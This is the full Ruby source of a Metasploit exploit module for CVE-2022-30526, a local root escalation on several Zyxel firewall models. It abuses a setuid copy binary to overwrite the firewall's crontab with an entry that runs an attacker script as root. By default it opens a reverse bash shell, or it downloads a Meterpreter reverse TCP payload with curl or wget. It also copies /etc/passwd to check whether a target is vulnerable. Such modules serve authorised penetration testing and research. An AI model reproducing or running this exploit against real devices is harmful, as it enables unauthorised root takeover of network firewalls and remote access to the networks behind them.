Zyxel Firewall SUID Binary Privilege Escalation

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Post::File  
include Msf::Exploit::CmdStager  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Zyxel Firewall SUID Binary Privilege Escalation',  
'Description' => %q{  
This module exploits CVE-2022-30526, a local privilege escalation vulnerability that  
allows a low privileged user (e.g. nobody) escalate to root. The issue stems from  
a suid binary that allows all users to copy files as root. This module overwrites  
the firewall's crontab to execute an attacker provided script, resulting in code  
execution as root.  
  
In order to use this module, the attacker must first establish shell access. For  
example, by exploiting CVE-2022-30525.  
  
Known affected Zyxel models are: USG FLEX (50, 50W, 100W, 200, 500, 700),  
ATP (100, 200, 500, 700, 800), VPN (50, 100, 300, 1000), USG20-VPN and USG20W-VPN.  
},  
'References' => [  
['CVE', '2022-30526'],  
['URL', 'https://www.zyxel.com/support/Zyxel-security-advisory-authenticated-directory-traversal-vulnerabilities-of-firewalls.shtml']  
],  
'Author' => [  
'jbaines-r7' # discovery and metasploit module  
],  
'DisclosureDate' => '2022-06-14',  
'License' => MSF_LICENSE,  
'Platform' => ['linux', 'unix'],  
'Arch' => [ARCH_CMD, ARCH_MIPS64],  
'SessionTypes' => ['shell', 'meterpreter'],  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_bash'  
}  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_MIPS64],  
'Type' => :linux_dropper,  
'CmdStagerFlavor' => [ 'curl', 'wget' ],  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/mips64/meterpreter_reverse_tcp'  
}  
}  
]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'MeterpreterTryToFork' => true,  
'WfsDelay' => 70  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [ARTIFACTS_ON_DISK]  
}  
)  
)  
end  
  
# The check first establishes the system is a Zyxel firewall by parsing the  
# /zyinit/fwversion file. Then it attempts to prove that zysudo.suid can be  
# used by the user to write to otherwise unwrittable location.  
def check  
fwversion_data = read_file('/zyinit/fwversion')  
if fwversion_data.nil? || fwversion_data.empty?  
return CheckCode::Safe('Could not read /zyinit/fwversion. The target is not a Zyxel firewall.')  
end  
  
model_id = fwversion_data[/MODEL_ID=(?<model_id>[^\n]+)/, :model_id]  
return CheckCode::Unknown('Failed to identify the firewall model.') if model_id.nil? || model_id.empty?  
  
firmware_ver = fwversion_data[/FIRMWARE_VER=(?<firmware_ver>[^\n]+)/, :firmware_ver]  
return CheckCode::Unknown('Failed to identify the firmware version.') if firmware_ver.nil? || firmware_ver.empty?  
  
test_file = "/var/zyxel/#{rand_text_alphanumeric(12..16)}"  
unless cmd_exec("/bin/cp /etc/passwd #{test_file}") == "/bin/cp: cannot create regular file '#{test_file}': Permission denied"  
return CheckCode::Unknown("Failed to generate a permission issue. System version: #{model_id}, #{firmware_ver}")  
end  
  
suid_copy_result = cmd_exec("zysudo.suid /bin/cp /etc/passwd #{test_file}")  
unless suid_copy_result.empty?  
return CheckCode::Safe("zysudo.suid copy failed. System version: #{model_id}, #{firmware_ver}")  
end  
  
# clean up the created file  
cmd_exec("zysudo.suid /bin/rm #{test_file}")  
  
return CheckCode::Vulnerable("System version: #{model_id}, #{firmware_ver}")  
end  
  
# no matter what happens, try to reset the crontab to the original state and  
# delete the backup file.  
def cleanup  
unless @crontab_backup.nil?  
print_status('Resetting crontab to the original version')  
cmd_exec("zysudo.suid /bin/cp #{@crontab_backup} /var/zyxel/crontab")  
rm_rf(@crontab_backup)  
end  
end  
  
def execute_command(cmd, _opts = {})  
# this file will contain the payload and get executed by cron  
exec_filename = "/tmp/#{rand_text_alphanumeric(6..12)}"  
register_file_for_cleanup(exec_filename)  
cmd_exec("echo -e \"#!/bin/bash\\n\\n#{cmd}\" > #{exec_filename}")  
cmd_exec("chmod +x #{exec_filename}")  
  
# this file will be a copy of the original crontab, plus our additional malicious entry  
evil_crontab = "/tmp/#{rand_text_alphanumeric(6..12)}"  
register_file_for_cleanup(evil_crontab)  
copy_file('/var/zyxel/crontab', evil_crontab)  
cmd_exec("echo '* * * * * root #{exec_filename} &' >> #{evil_crontab}")  
  
# this is the backup copy of the original crontab. It'll be restored on new session  
@crontab_backup = "/tmp/#{rand_text_alphanumeric(6..12)}"  
copy_file('/var/zyxel/crontab', @crontab_backup)  
  
# overwrite the legitimate crontab. this is how we get exectuion.  
print_status('Overwriting /var/zyxel/crontab')  
cmd_exec("zysudo.suid /bin/cp #{evil_crontab} /var/zyxel/crontab")  
  
# check if the session has been created. Give it 70 seconds to come in.  
# The extra 10 seconds is to account for high latency links.  
print_status('The payload may take up to 60 seconds to be executed by cron')  
sleep_count = 70  
until session_created? || sleep_count == 0  
sleep(1)  
sleep_count -= 1  
end  
end  
  
def exploit  
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")  
case target['Type']  
when :unix_cmd  
execute_command(payload.encoded)  
when :linux_dropper  
execute_cmdstager  
end  
end  
end  
`